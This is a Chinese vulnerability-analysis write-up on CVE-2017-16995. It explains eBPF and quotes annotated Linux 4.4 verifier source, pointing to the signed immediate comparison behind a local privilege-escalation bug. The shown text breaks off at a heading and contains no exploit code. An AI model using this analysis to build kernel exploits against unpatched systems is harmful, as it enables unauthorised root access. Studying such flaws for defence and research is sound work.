对eBPF模块中由于s32到u64的符号扩展问题导致的漏洞CVE-2017-16995的复现。
CVE-2017-16995最初是由Google project zero披露，并公开了相关poc，在2017年12月23日，Bruce Leidl公布了提权代码。在2018年3月中旬，Vitaly Nikolenko在推特上发布消息说Ubuntu 16.04存在高危漏洞，可以进行本地提权，同时公布了exp。整个过程仅利用精心构造的数据就可以劫持控制流，是属于Data-Oriented Attacks在Linux kernel上的一个典型应用。
eBPF模块
eBPF源于成型于BSD上的技术BPF(Berkeley Packet Filter)，BPF是一个用于过滤网络报文(Packet)的架构，常用的抓包软件tcpdump,wireshark都基于整个模块对用户提供抓包接口。BPF根据规则过滤报文，将符合条件的报文由内核空间复制到用户空间。eBPF是基于原有的BPF，重新设计了一个新的BPF模块，在Linux 3.17加入到kernel/bpf中，新的BPF被命名为extended BPF，简称eBPF。BPF提供了一个内核与用户进行代码和数据传输的桥梁，用户可以使用eBPF指令字节码的形式编写代码并传入内核，通过相关事件触发内核执行用户传入的代码。可以注入代码必然存在安全隐患，eBPF制定了复杂的verifier机制，在运行用户代码之前，先要进行一系列的安全检查，采用模拟执行的方式进行检查，最大程度的防止eBPF代码在真实执行时发生攻击。
eBPF sample
Linux内核代码的samples/bpf目录下有bpf的使用示例，以一个简答的sample来说明一个eBPF过滤代码的编写过程。因为后续调试内核版本是v4.4.110，所以源码版本是v4.4.110。示例代码如下，整个过程分为三部分。这里涉及到的bpf_create_map,bpf_prog_load都是samplesz中自定义的函数，仅在samples中调用，利用系统调用syscall(NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr))和syscall(NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr))实现，后面介绍的这两个函数是内核真正实现和运行的函数源码。1
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65//https://elixir.bootlin.com/linux/v4.4.110/source/samples/bpf/sock_example.c
static int test_sock(void)
{
int sock = -1, map_fd, prog_fd, i, key;
long long value = 0, tcp_cnt, udp_cnt, icmp_cnt;
map_fd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(key), sizeof(value), 256); //创建map
if (map_fd < 0) {
printf("failed to create map '%s'\n", strerror(errno));
goto cleanup;
}
//编写的eBPF代码
struct bpf_insn prog[] = {
BPF_MOV64_REG(BPF_REG_6, BPF_REG_1),
BPF_LD_ABS(BPF_B, ETH_HLEN + offsetof(struct iphdr, protocol) /* R0 = ip->proto */),
BPF_STX_MEM(BPF_W, BPF_REG_10, BPF_REG_0, -4), /* *(u32 *)(fp - 4) = r0 */
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */
BPF_LD_MAP_FD(BPF_REG_1, map_fd),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 2),
BPF_MOV64_IMM(BPF_REG_1, 1), /* r1 = 1 */
BPF_RAW_INSN(BPF_STX | BPF_XADD | BPF_DW, BPF_REG_0, BPF_REG_1, 0, 0), /* xadd r0 += r1 */
BPF_MOV64_IMM(BPF_REG_0, 0), /* r0 = 0 */
BPF_EXIT_INSN(),
};
//将eBPF代码加载至内核
prog_fd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, prog, sizeof(prog),
"GPL", 0);
if (prog_fd < 0) {
printf("failed to load prog '%s'\n", strerror(errno));
goto cleanup;
}
sock = open_raw_sock("lo");
//将用户自定义的eBPF代码绑定到指定的sockert上
if (setsockopt(sock, SOL_SOCKET, SO_ATTACH_BPF, &prog_fd,
sizeof(prog_fd)) < 0) {
printf("setsockopt %s\n", strerror(errno));
goto cleanup;
}
//执行eBPF代码，过滤socket数据包，此时为真实执行
for (i = 0; i < 10; i++) {
key = IPPROTO_TCP;
assert(bpf_lookup_elem(map_fd, &key, &tcp_cnt) == 0);
key = IPPROTO_UDP;
assert(bpf_lookup_elem(map_fd, &key, &udp_cnt) == 0);
key = IPPROTO_ICMP;
assert(bpf_lookup_elem(map_fd, &key, &icmp_cnt) == 0);
printf("TCP %lld UDP %lld ICMP %lld packets\n",
tcp_cnt, udp_cnt, icmp_cnt);
sleep(1);
}
cleanup:
/* maps, programs, raw sockets will auto cleanup on process exit */
return 0;
}
1.首先调用bpf_create_map创建一个map，在attr结构体中指定map的类型、key和value的大小、最大容量，函数返回一个map_fd描述符。1
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15//https://elixir.bootlin.com/linux/v4.4.110/source/samples/bpf/libbpf.c#L21
int bpf_create_map(enum bpf_map_type map_type, int key_size,
int value_size, int max_entries)
{
union bpf_attr attr;
memset(&attr, '\0', sizeof(attr));
attr.map_type = map_type;
attr.key_size = key_size;
attr.value_size = value_size;
attr.max_entries = max_entries;
return sys_bpf(BPF_MAP_CREATE, &attr, sizeof(attr));
}
2.调用bpf_prog_load将用户编写的eBPF代码prog加载至内核，attr结构体包含了指令的类型，指令首地址，指令长度，日志大小，日志级别等，然后会进行一系列检查，检查核心在于bpf_check函数，采用模拟执行的方式进行检查。这个下文中会有分析。1
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98//https://elixir.bootlin.com/linux/v4.4.110/source/kernel/bpf/syscall.c#L621
static int bpf_prog_load(union bpf_attr *attr)
{
enum bpf_prog_type type = attr->prog_type;
struct bpf_prog *prog;
int err;
char license[128];
bool is_gpl;
//对传入的attr结构体进行检查，主要检查各个成员的大小
if (CHECK_ATTR(BPF_PROG_LOAD))
return -EINVAL;
/* copy eBPF program license from user space */
//从用户空间获取eBPF程序证书
if (strncpy_from_user(license, u64_to_ptr(attr->license),
sizeof(license) - 1) < 0)
return -EFAULT;
license[sizeof(license) - 1] = 0;
/* eBPF programs must be GPL compatible to use GPL-ed functions */
//规定eBPF程序必须与GPL兼容
is_gpl = license_is_gpl_compatible(license);
//检查指令条数是否超过BPF_MAXINSNS，BPF_MAXINSNS定义为4096
if (attr->insn_cnt >= BPF_MAXINSNS)
return -EINVAL;
//检查指令类型以及程序指定的内核版本
if (type == BPF_PROG_TYPE_KPROBE &&
attr->kern_version != LINUX_VERSION_CODE)
return -EINVAL;
if (type != BPF_PROG_TYPE_SOCKET_FILTER && !capable(CAP_SYS_ADMIN))
return -EPERM;
/* plain bpf_prog allocation */
//创建buf_prog结构体，用于存储用户定义的eBPF指令以及相关参数
prog = bpf_prog_alloc(bpf_prog_size(attr->insn_cnt), GFP_USER);
if (!prog)
return -ENOMEM;
err = bpf_prog_charge_memlock(prog);
if (err)
goto free_prog_nouncharge;
prog->len = attr->insn_cnt;
err = -EFAULT;
//将eBPF指令拷贝至prog结构体指向的内存中
if (copy_from_user(prog->insns, u64_to_ptr(attr->insns),
prog->len * sizeof(struct bpf_insn)) != 0)
goto free_prog;
prog->orig_prog = NULL;
prog->jited = 0;
atomic_set(&prog->aux->refcnt, 1);
prog->gpl_compatible = is_gpl ? 1 : 0;
/* find program type: socket_filter vs tracing_filter */
//判断过滤程序的过滤模式，是socket_filter（socket数据包过滤）还是tracing_filter（系统调用号及参数过滤）
err = find_prog_type(type, prog);
if (err < 0)
goto free_prog;
/* run eBPF verifier */
//执行eBPF的verifier机制
err = bpf_check(&prog, attr);
if (err < 0)
goto free_used_maps;
/* fixup BPF_CALL->imm field */
//修正eBPF指令中call和跳转令的操作数范围
fixup_bpf_calls(prog);
/* eBPF program is ready to be JITed */
//JIT加载
err = bpf_prog_select_runtime(prog);
if (err < 0)
goto free_used_maps;
err = bpf_prog_new_fd(prog);
if (err < 0)
/* failed to allocate fd */
goto free_used_maps;
return err;
free_used_maps:
free_used_maps(prog->aux);
free_prog:
bpf_prog_uncharge_memlock(prog);
free_prog_nouncharge:
bpf_prog_free(prog);
return err;
}
3.用户调用setsockopt(sock, SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd)) < 0)将用户自定义的eBPF代码绑定到指定的socket上，此时代码已经拷贝至内核，由prog_fd指向bpf_prog的结构体维护。成功绑定后，对socket数据包执行eBPF代码，此时为真实执行。
eBPF指令集
eBPF指令集与我们常见的汇编指令有所不同，它拥有R0~R10共11个虚拟寄存器，它有一个栈，使用map结构与用户进行交互，前文中也提到调用bpf_create_map创建一个map。在64位下，R0~R10与CPU中的10个物理寄存器对应如下：1
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11R0 -- RAX
R1 -- RDI
R2 -- RSI
R3 -- RDX
R4 -- RCX
R5 -- R8
R6 -- RBX
R7 -- R13
R8 -- R14
R9 -- R15
R10 -- RBP
每条指令对应的数据结构如下,在示例中prog的类型就是struct bpf_insn：1
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8https://elixir.bootlin.com/linux/v4.4.110/source/include/uapi/linux/bpf.h#L58
struct bpf_insn {
__u8 code; /* opcode */ //操作码
__u8 dst_reg:4; /* dest register */ //目标寄存器
__u8 src_reg:4; /* source register */ //源寄存器
__s16 off; /* signed offset */ //指令偏移
__s32 imm; /* signed immediate constant */ //立即数
};
eBPF的操作码一共有8大类，一个code有8个bit，code的低三位代表了指令的类型：1
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11https://elixir.bootlin.com/linux/v4.4.110/source/include/uapi/linux/bpf_common.h#L6
/* Instruction classes */
eBPF verifier机制
检查机制核心在于bpf_check函数，一共有两次check，首轮检查的关键函数是check_cfg，对代码进行有向无环图检测，检查代码中是否有循环，以及跳转指令是否跳转到未知位置，第二轮检查由do_check实现。在进行两轮check之前，先执行了replace_map_fd_with_map_ptr函数，首先看一下这个函数，然后再看一下模拟执行的检查。1
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125//https://elixir.bootlin.com/linux/v4.4.110/source/kernel/bpf/verifier.c#L2214
int bpf_check(struct bpf_prog **prog, union bpf_attr *attr)
{
char __user *log_ubuf = NULL;
struct verifier_env *env;
int ret = -EINVAL;
//首先检查指令的size，是否小于0或超过BPF_MAXINSNS(4096)
if ((*prog)->len <= 0 || (*prog)->len > BPF_MAXINSNS)
return -E2BIG;
/* 'struct verifier_env' can be global, but since it's not small,
* allocate/free it every time bpf_check() is called
*/
env = kzalloc(sizeof(struct verifier_env), GFP_KERNEL);
if (!env)
return -ENOMEM;
env->prog = *prog;
/* grab the mutex to protect few globals used by verifier */
mutex_lock(&bpf_verifier_lock);
//获取与log有关的参数，在attr结构体中保存了指令类型，指令大小以及log相关参数
if (attr->log_level || attr->log_buf || attr->log_size) {
/* user requested verbose verifier output
* and supplied buffer to store the verification trace
*/
log_level = attr->log_level;
log_ubuf = (char __user *) (unsigned long) attr->log_buf;
log_size = attr->log_size;
log_len = 0;
ret = -EINVAL;
/* log_* values have to be sane */
if (log_size < 128 || log_size > UINT_MAX >> 8 ||
log_level == 0 || log_ubuf == NULL)
goto free_env;
ret = -ENOMEM;
log_buf = vmalloc(log_size);
if (!log_buf)
goto free_env;
} else {
log_level = 0;
}
ret = replace_map_fd_with_map_ptr(env); //here
if (ret < 0)
goto skip_full_check;
env->explored_states = kcalloc(env->prog->len,
sizeof(struct verifier_state_list *),
GFP_USER);
ret = -ENOMEM;
if (!env->explored_states)
goto skip_full_check;
//首轮检查，检查是否有循环存在，以及跳转到未知地址
ret = check_cfg(env);
if (ret < 0)
goto skip_full_check;
env->allow_ptr_leaks = capable(CAP_SYS_ADMIN);
//二轮检查，模拟执行的方式，非常细致
ret = do_check(env);
skip_full_check:
while (pop_stack(env, NULL) >= 0);
free_states(env);
if (ret == 0)
/* program is valid, convert *(u32*)(ctx + off) accesses */
ret = convert_ctx_accesses(env);
if (log_level && log_len >= log_size - 1) {
BUG_ON(log_len >= log_size);
/* verifier log exceeded user supplied buffer */
ret = -ENOSPC;
/* fall through to return what was recorded */
}
/* copy verifier log back to user space including trailing zero */
if (log_level && copy_to_user(log_ubuf, log_buf, log_len + 1) != 0) {
ret = -EFAULT;
goto free_log_buf;
}
if (ret == 0 && env->used_map_cnt) {
/* if program passed verifier, update used_maps in bpf_prog_info */
env->prog->aux->used_maps = kmalloc_array(env->used_map_cnt,
sizeof(env->used_maps[0]),
GFP_KERNEL);
if (!env->prog->aux->used_maps) {
ret = -ENOMEM;
goto free_log_buf;
}
memcpy(env->prog->aux->used_maps, env->used_maps,
sizeof(env->used_maps[0]) * env->used_map_cnt);
env->prog->aux->used_map_cnt = env->used_map_cnt;
/* program is valid. Convert pseudo bpf_ld_imm64 into generic
* bpf_ld_imm64 instructions
*/
convert_pseudo_ld_imm64(env);
}
free_log_buf:
if (log_level)
vfree(log_buf);
free_env:
if (!env->prog->aux->used_maps)
/* if we didn't copy map pointers into bpf_prog_info, release
* them now. Otherwise free_bpf_prog_info() will release them.
*/
release_maps(env);
*prog = env->prog;
kfree(env);
mutex_unlock(&bpf_verifier_lock);
return ret;
}
replace_map_fd_with_map_ptr
当指令类型为BPF_LD | BPF_IMM | BPF_DW且源寄存器值为1且下一条指令为全0时，该函数会对这条指令以及它的下一条指令进行imm替换，首先根据指令的imm获取bpf_map的fd，根据fd获取bpf_map的地址，然后将该指令的imm替换为map的地址的低32位，高32位赋值给下一条指令的imm。1
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93//https://elixir.bootlin.com/linux/v4.4.110/source/kernel/bpf/verifier.c#L1990
static int replace_map_fd_with_map_ptr(struct verifier_env *env)
{
struct bpf_insn *insn = env->prog->insnsi;
int insn_cnt = env->prog->len;
int i, j;
//对eBPF指令进行遍历
for (i = 0; i < insn_cnt; i++, insn++) {
if (BPF_CLASS(insn->code) == BPF_LDX &&
(BPF_MODE(insn->code) != BPF_MEM || insn->imm != 0)) {
verbose("BPF_LDX uses reserved fields\n");
return -EINVAL;
}
if (BPF_CLASS(insn->code) == BPF_STX &&
((BPF_MODE(insn->code) != BPF_MEM &&
BPF_MODE(insn->code) != BPF_XADD) || insn->imm != 0)) {
verbose("BPF_STX uses reserved fields\n");
return -EINVAL;
}
//指令类型为BPF_LD | BPF_IMM | BPF_DW
if (insn[0].code == (BPF_LD | BPF_IMM | BPF_DW)) {
struct bpf_map *map;
struct fd f;
//它的下一条指令必须为"\x00\x00\x00\x00\x00\x00\x00\x00"
if (i == insn_cnt - 1 || insn[1].code != 0 ||
insn[1].dst_reg != 0 || insn[1].src_reg != 0 ||
insn[1].off != 0) {
verbose("invalid bpf_ld_imm64 insn\n");
return -EINVAL;
}
if (insn->src_reg == 0)
/* valid generic load 64-bit imm */
goto next_insn;
//insn->src_reg必须等于BPF_PSEUDO_MAP_FD,BPF_PSEUDO_MAP_FD值为1
if (insn->src_reg != BPF_PSEUDO_MAP_FD) {
verbose("unrecognized bpf_ld_imm64 insn\n");
return -EINVAL;
}
f = fdget(insn->imm); //立即数为fd
map = __bpf_map_get(f); //根据fd获取结构体bpf_map地址
if (IS_ERR(map)) {
verbose("fd %d is not pointing to valid bpf_map\n",
insn->imm);
return PTR_ERR(map);
}
/* store map pointer inside BPF_LD_IMM64 instruction */
insn[0].imm = (u32) (unsigned long) map; //第一条指令的立即数中存储map地址的低32位
insn[1].imm = ((u64) (unsigned long) map) >> 32; //下一条指令的立即数中存储map地址的高32位
/* check whether we recorded this map already */
for (j = 0; j < env->used_map_cnt; j++)
if (env->used_maps[j] == map) {
fdput(f);
goto next_insn;
}
if (env->used_map_cnt >= MAX_USED_MAPS) {
fdput(f);
return -E2BIG;
}
/* hold the map. If the program is rejected by verifier,
* the map will be released by release_maps() or it
* will be used by the valid program until it's unloaded
* and all maps are released in free_bpf_prog_info()
*/
map = bpf_map_inc(map, false);
if (IS_ERR(map)) {
fdput(f);
return PTR_ERR(map);
}
env->used_maps[env->used_map_cnt++] = map;
fdput(f);
next_insn:
insn++;
i++;
}
}
/* now all pseudo BPF_LD_IMM64 instructions load valid
* 'struct bpf_map *' into a register instead of user map_fd.
* These pointers will be used later by verifier to validate map access.
*/
return 0;
}
关于检查机制，这里主要看一下与漏洞相关的do_check的检查逻辑。
do_check
寄存器初始化
首先初始化寄存器的状态，寄存器状态由结构体reg_state定义，它由一个枚举和联合类型组成，buf_reg_type定义了寄存器中存储的值的类型，包括初始化、指针、常量等。imm只有在操作数类型是立即数时才有用，此时寄存器类型为CONST_IMM或PTR_TO_STACK。1
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25//https://elixir.bootlin.com/linux/v4.4.110/source/kernel/bpf/verifier.c#L129
struct reg_state {
enum bpf_reg_type type;
union {
/* valid when type == CONST_IMM | PTR_TO_STACK */
int imm; //注意类型是int
/* valid when type == CONST_PTR_TO_MAP | PTR_TO_MAP_VALUE |
* PTR_TO_MAP_VALUE_OR_NULL
*/
struct bpf_map *map_ptr;
};
};
enum bpf_reg_type {
NOT_INIT = 0, /* nothing was written into register */
UNKNOWN_VALUE, /* reg doesn't contain a valid pointer */
PTR_TO_CTX, /* reg points to bpf_context */
CONST_PTR_TO_MAP, /* reg points to struct bpf_map */
PTR_TO_MAP_VALUE, /* reg points to map element value */
PTR_TO_MAP_VALUE_OR_NULL,/* points to map elem value or NULL */
FRAME_PTR, /* reg == frame_pointer */
PTR_TO_STACK, /* reg == frame_pointer + imm */
CONST_IMM, /* constant integer value */
};
init_reg_state函数初始化寄存器的状态，将所有寄存器的类型初始化为NOT_INIT，R10的type初始化为栈指针，R1类型初始化为指向buf_context的指针。1
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18https://elixir.bootlin.com/linux/v4.4.110/source/kernel/bpf/verifier.c#L474
static void init_reg_state(struct reg_state *regs)
{
int i;
for (i = 0; i < MAX_BPF_REG; i++) {
regs[i].type = NOT_INIT;
regs[i].imm = 0;
regs[i].map_ptr = NULL;
}
/* frame pointer */
regs[BPF_REG_FP].type = FRAME_PTR;
/* 1st arg to a function */
regs[BPF_REG_1].type = PTR_TO_CTX;
}
指令都存储在insns数组中，根据下标insn_idx的数值来获取每一条指令，检查的核心在for定义的无限循环中，insn_processed记录for循环执行的次数，最多执行32768次。首先获取指令的类型class，前面提到有8大类型，根据不同的指令类型有不同的处理方式。由于代码比较长，这里只关注与本漏洞相关的指令类型中的检查逻辑。首先看这几个check中用到的函数。
检查中的常用函数
check_reg_arg
首先是当寄存器作为操作数时，对寄存器进行检查的check_reg_arg函数，根据寄存器在指令中所处的位置（源操作数/目的操作数）分别对其type进行检查，当为读指令时，检查源操作数是否为可读；指令为写指令时，检查目的操作数是否可写。1
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31//https://elixir.bootlin.com/linux/v4.4.110/source/kernel/bpf/verifier.c#L505
static int check_reg_arg(struct reg_state *regs, u32 regno,
enum reg_arg_type t)
{
//检查是否超过R10的未定义寄存器
if (regno >= MAX_BPF_REG) {
verbose("R%d is invalid\n", regno);
return -EINVAL;
}
//寄存器作为源操作数，检查寄存器是否为可读状态（类型为指针或具体数值），但不能是未初始化
if (t == SRC_OP) {
/* check whether register used as source operand can be read */
if (regs[regno].type == NOT_INIT) {
verbose("R%d !read_ok\n", regno);
return -EACCES;
}
}
//寄存器作为目的操作数，检查寄存器是否为可写状态（栈指针只读），并修改寄存器类型
else {
/* check whether register used as dest operand can be written to */
if (regno == BPF_REG_FP) {
verbose("frame pointer is read only\n");
return -EACCES;
}
if (t == DST_OP)
mark_reg_unknown_value(regs, regno); //将寄存器类型修改为UNKNOWN_VALUE，map_ptr指针置空
}
return 0;
}
check_mem_access
regno是源寄存器，t是指令类型read/write，value_regno是目的寄存器，当指令对memory进行读写操作时，根据源寄存器类型分别进行不同的检查，中心思想是off不能超过memory的size范围，即不能溢出。当指令为写指令时，目的寄存器类型不能是常数或未知值；当指令为读指令时，目的寄存器类型置为UNKNOWN_VALUE。1
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75//https://elixir.bootlin.com/linux/v4.4.110/source/kernel/bpf/verifier.c#L683
static int check_mem_access(struct verifier_env *env, u32 regno, int off,
int bpf_size, enum bpf_access_type t,
int value_regno)
{
struct verifier_state *state = &env->cur_state;
int size, err = 0;
//源寄存器指向栈时，reg == frame_pointer + imm
if (state->regs[regno].type == PTR_TO_STACK)
off += state->regs[regno].imm;
size = bpf_size_to_bytes(bpf_size);
if (size < 0)
return size;
//判断访问的偏移off是否与buf的size对齐
if (off % size != 0) {
verbose("misaligned access off %d size %d\n", off, size);
return -EACCES;
}
//源寄存器指向结构体buf_map，根据指令类型t分别处理
if (state->regs[regno].type == PTR_TO_MAP_VALUE) {
//对bpf_map进行写操作，目的寄存器不能是常量或未知值
if (t == BPF_WRITE && value_regno >= 0 &&
is_pointer_value(env, value_regno)) {
verbose("R%d leaks addr into map\n", value_regno);
return -EACCES;
}
err = check_map_access(env, regno, off, size); //off不能超过buf_map的size范围
if (!err && t == BPF_READ && value_regno >= 0)
mark_reg_unknown_value(state->regs, value_regno);
}
//源寄存器指向bpf_context
else if (state->regs[regno].type == PTR_TO_CTX) {
//对bpf_context进行写操作，目的寄存器不能是常量或未知值
if (t == BPF_WRITE && value_regno >= 0 &&
is_pointer_value(env, value_regno)) {
verbose("R%d leaks addr into ctx\n", value_regno);
return -EACCES;
}
err = check_ctx_access(env, off, size, t);
if (!err && t == BPF_READ && value_regno >= 0)
mark_reg_unknown_value(state->regs, value_regno);
}
//源寄存器指向栈，检查地址偏移off的范围，指令类型为写指令时检查溢出，并检查读写操作时off是否超过size的范围
else if (state->regs[regno].type == FRAME_PTR ||
state->regs[regno].type == PTR_TO_STACK) {
if (off >= 0 || off < -MAX_BPF_STACK) {
verbose("invalid stack off=%d size=%d\n", off, size);
return -EACCES;
}
if (t == BPF_WRITE) {
if (!env->allow_ptr_leaks &&
state->stack_slot_type[MAX_BPF_STACK + off] == STACK_SPILL &&
size != BPF_REG_SIZE) {
verbose("attempt to corrupt spilled pointer on stack\n");
return -EACCES;
}
err = check_stack_write(state, off, size, value_regno);
} else {
err = check_stack_read(state, off, size, value_regno);
}
} else {
verbose("R%d invalid mem access '%s'\n",
regno, reg_type_str[state->regs[regno].type]);
return -EACCES;
}
return err;
}
在for循环中对于每一类指令几乎都用到check_reg_arg函数，对内存读写指令会调用check_mem_access函数进行检查。
BPF_ALU中的BPF_MOV
for循环中首先检查类型为BPF_ALU中的指令，我们常用的MOV指令在此类指令中，类型为BPF_MOV，当指令为BPF_ALU时，调用check_alu_op函数进行检查，check_alu_op函数会根据指令的小类型比如BPF_MOV,BPF_ADD等类型分别进行处理，这里关注小类型为BPF_MOV的情况，函数会调用check_reg_arg对源操作数和目的操作数进行检查，如果源操作数是寄存器时，会直接将源寄存器的reg_state复制到目的寄存器中；如果源操作数是立即数，会将insn->imm复制到目的寄存器的imm中，insn->imm和reg_state的imm类型都是int类型，然后目的寄存器的类型设置为CONST_IMM.1
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69* check validity of 32-bit and 64-bit arithmetic operations */
static int check_alu_op(struct verifier_env *env, struct bpf_insn *insn)
{
struct reg_state *regs = env->cur_state.regs;
u8 opcode = BPF_OP(insn->code);
int err;
if (opcode == BPF_END || opcode == BPF_NEG) {
... ...
} else if (opcode == BPF_MOV) {
if (BPF_SRC(insn->code) == BPF_X) {
if (insn->imm != 0 || insn->off != 0) {
verbose("BPF_MOV uses reserved fields\n");
return -EINVAL;
}
/* check src operand */
err = check_reg_arg(regs, insn->src_reg, SRC_OP);
if (err)
return err;
} else {
if (insn->src_reg != BPF_REG_0 || insn->off != 0) {
verbose("BPF_MOV uses reserved fields\n");
return -EINVAL;
}
}
/* check dest operand */
err = check_reg_arg(regs, insn->dst_reg, DST_OP);
if (err)
return err;
//源操作数是寄存器时，将源寄存器的reg_state复制到目的寄存器中
if (BPF_SRC(insn->code) == BPF_X) {
if (BPF_CLASS(insn->code) == BPF_ALU64) {
/* case: R1 = R2
* copy register state to dest reg
*/
regs[insn->dst_reg] = regs[insn->src_reg];
} else {
if (is_pointer_value(env, insn->src_reg)) {
verbose("R%d partial copy of pointer\n",
insn->src_reg);
return -EACCES;
}
regs[insn->dst_reg].type = UNKNOWN_VALUE;
regs[insn->dst_reg].map_ptr = NULL;
}
} else { //源操作数是立即数，将源操作数的数值复制到目的寄存器中，且目的寄存器类型设置为CONST_IMM
/* case: R = imm
* remember the value we stored into this reg
*/
regs[insn->dst_reg].type = CONST_IMM;
regs[insn->dst_reg].imm = insn->imm; //int类型
}
} else if (opcode > BPF_END) {
verbose("invalid BPF_ALU opcode %x\n", opcode);
return -EINVAL;
} else { /* all other ALU ops: and, sub, xor, add, ... */
... ...
}
return 0;
}
BPF_JMP
如果指令为BPF_JMP类型，do_check函数将跳转指令分为四类情况，第一类是函数调用BPF_CALL指令，第二类是BPF_JA指令，第三类是退出指令BPF_EXIT，第四类是其他跳转指令。第四类跳转指令将进入函数check_cond_jmp_op进行检查。1
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67//https://elixir.bootlin.com/linux/v4.4.110/source/kernel/bpf/verifier.c#L1893
} else if (class == BPF_JMP) {
u8 opcode = BPF_OP(insn->code);
if (opcode == BPF_CALL) {
if (BPF_SRC(insn->code) != BPF_K ||
insn->off != 0 ||
insn->src_reg != BPF_REG_0 ||
insn->dst_reg != BPF_REG_0) {
verbose("BPF_CALL uses reserved fields\n");
return -EINVAL;
}
err = check_call(env, insn->imm);
if (err)
return err;
} else if (opcode == BPF_JA) {
if (BPF_SRC(insn->code) != BPF_K ||
insn->imm != 0 ||
insn->src_reg != BPF_REG_0 ||
insn->dst_reg != BPF_REG_0) {
verbose("BPF_JA uses reserved fields\n");
return -EINVAL;
}
insn_idx += insn->off + 1;
continue;
} else if (opcode == BPF_EXIT) {
if (BPF_SRC(insn->code) != BPF_K ||
insn->imm != 0 ||
insn->src_reg != BPF_REG_0 ||
insn->dst_reg != BPF_REG_0) {
verbose("BPF_EXIT uses reserved fields\n");
return -EINVAL;
}
/* eBPF calling convetion is such that R0 is used
* to return the value from eBPF program.
* Make sure that it's readable at this time
* of bpf_exit, which means that program wrote
* something into it earlier
*/
err = check_reg_arg(regs, BPF_REG_0, SRC_OP);
if (err)
return err;
if (is_pointer_value(env, BPF_REG_0)) {
verbose("R0 leaks addr as return value\n");
return -EACCES;
}
process_bpf_exit:
insn_idx = pop_stack(env, &prev_insn_idx);
if (insn_idx < 0) {
break;
} else {
do_print_state = true;
continue;
}
} else {
err = check_cond_jmp_op(env, insn, &insn_idx);
if (err)
return err;
}
}
第四类跳转执行check_cond_jmp_op中的检查逻辑。这个函数主要关注条件跳转中目的寄存器是立即数的情况。当跳转指令类型是BPF_JEQ或BPF_JNE跳转时，会检查目的寄存器是否为立即数，如果是立即数，会检查当前指令的imm与目的寄存器的imm是否相等，如果两个imm相等恒成立，就是确定性跳转，就直接跳转到pc+off继续执行。如果不是确定性跳转，则说明跳转的两个分支都有可能执行，这里将不符合跳转条件的分支记作分支A，符合跳转条件的分支记作分支B，函数会继续检查分支A，直至遇到BPF_EXIT指令，并将分支B（insn_idx + insn->off + 1）压入一个临时栈中。这里注意到两个imm的类型，目的寄存器类型是reg_state，成员imm的类型是int有符号整数，指令类型是_s32，是有符号整数，两个均为有符号整数。1
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111//https://elixir.bootlin.com/linux/v4.4.110/source/kernel/bpf/verifier.c#L1192
static int check_cond_jmp_op(struct verifier_env *env,
struct bpf_insn *insn, int *insn_idx)
{
struct reg_state *regs = env->cur_state.regs;
struct verifier_state *other_branch;
u8 opcode = BPF_OP(insn->code);
int err;
if (opcode > BPF_EXIT) {
verbose("invalid BPF_JMP opcode %x\n", opcode);
return -EINVAL;
}
if (BPF_SRC(insn->code) == BPF_X) {
if (insn->imm != 0) {
verbose("BPF_JMP uses reserved fields\n");
return -EINVAL;
}
/* check src1 operand */
err = check_reg_arg(regs, insn->src_reg, SRC_OP);
if (err)
return err;
if (is_pointer_value(env, insn->src_reg)) {
verbose("R%d pointer comparison prohibited\n",
insn->src_reg);
return -EACCES;
}
} else {
if (insn->src_reg != BPF_REG_0) {
verbose("BPF_JMP uses reserved fields\n");
return -EINVAL;
}
}
/* check src2 operand */
err = check_reg_arg(regs, insn->dst_reg, SRC_OP);
if (err)
return err;
/* detect if R == 0 where R was initialized to zero earlier */
//跳转是BPF_JEQ或BPF_JNE跳转，且目的寄存器为立即数
if (BPF_SRC(insn->code) == BPF_K &&
(opcode == BPF_JEQ || opcode == BPF_JNE) &&
regs[insn->dst_reg].type == CONST_IMM &&
regs[insn->dst_reg].imm == insn->imm) {
//如果指令中的imm与目的寄存器的imm相同，则直接进行跳转
if (opcode == BPF_JEQ) {
/* if (imm == imm) goto pc+off;
* only follow the goto, ignore fall-through
*/
*insn_idx += insn->off;
return 0;
} else {
/* if (imm != imm) goto pc+off;
* only follow fall-through branch, since
* that's where the program will go
*/
return 0;
}
}
//将符合跳转条件的跳转分支insn->off + 1压入临时栈，作为另外一条分支
other_branch = push_stack(env, *insn_idx + insn->off + 1, *insn_idx);
if (!other_branch)
return -EFAULT;
/* detect if R == 0 where R is returned value from bpf_map_lookup_elem() */
if (BPF_SRC(insn->code) == BPF_K &&
insn->imm == 0 && (opcode == BPF_JEQ ||
opcode == BPF_JNE) &&
regs[insn->dst_reg].type == PTR_TO_MAP_VALUE_OR_NULL) {
if (opcode == BPF_JEQ) {
/* next fallthrough insn can access memory via
* this register
*/
regs[insn->dst_reg].type = PTR_TO_MAP_VALUE;
/* branch targer cannot access it, since reg == 0 */
other_branch->regs[insn->dst_reg].type = CONST_IMM;
other_branch->regs[insn->dst_reg].imm = 0;
} else {
other_branch->regs[insn->dst_reg].type = PTR_TO_MAP_VALUE;
regs[insn->dst_reg].type = CONST_IMM;
regs[insn->dst_reg].imm = 0;
}
} else if (is_pointer_value(env, insn->dst_reg)) {
verbose("R%d pointer comparison prohibited\n", insn->dst_reg);
return -EACCES;
} else if (BPF_SRC(insn->code) == BPF_K &&
(opcode == BPF_JEQ || opcode == BPF_JNE)) {
if (opcode == BPF_JEQ) {
/* detect if (R == imm) goto
* and in the target state recognize that R = imm
*/
other_branch->regs[insn->dst_reg].type = CONST_IMM;
other_branch->regs[insn->dst_reg].imm = insn->imm;
} else {
/* detect if (R != imm) goto
* and in the fall-through state recognize that R = imm
*/
regs[insn->dst_reg].type = CONST_IMM;
regs[insn->dst_reg].imm = insn->imm;
}
}
if (log_level)
print_verifier_state(env);
return 0;
}
BPF_EXIT
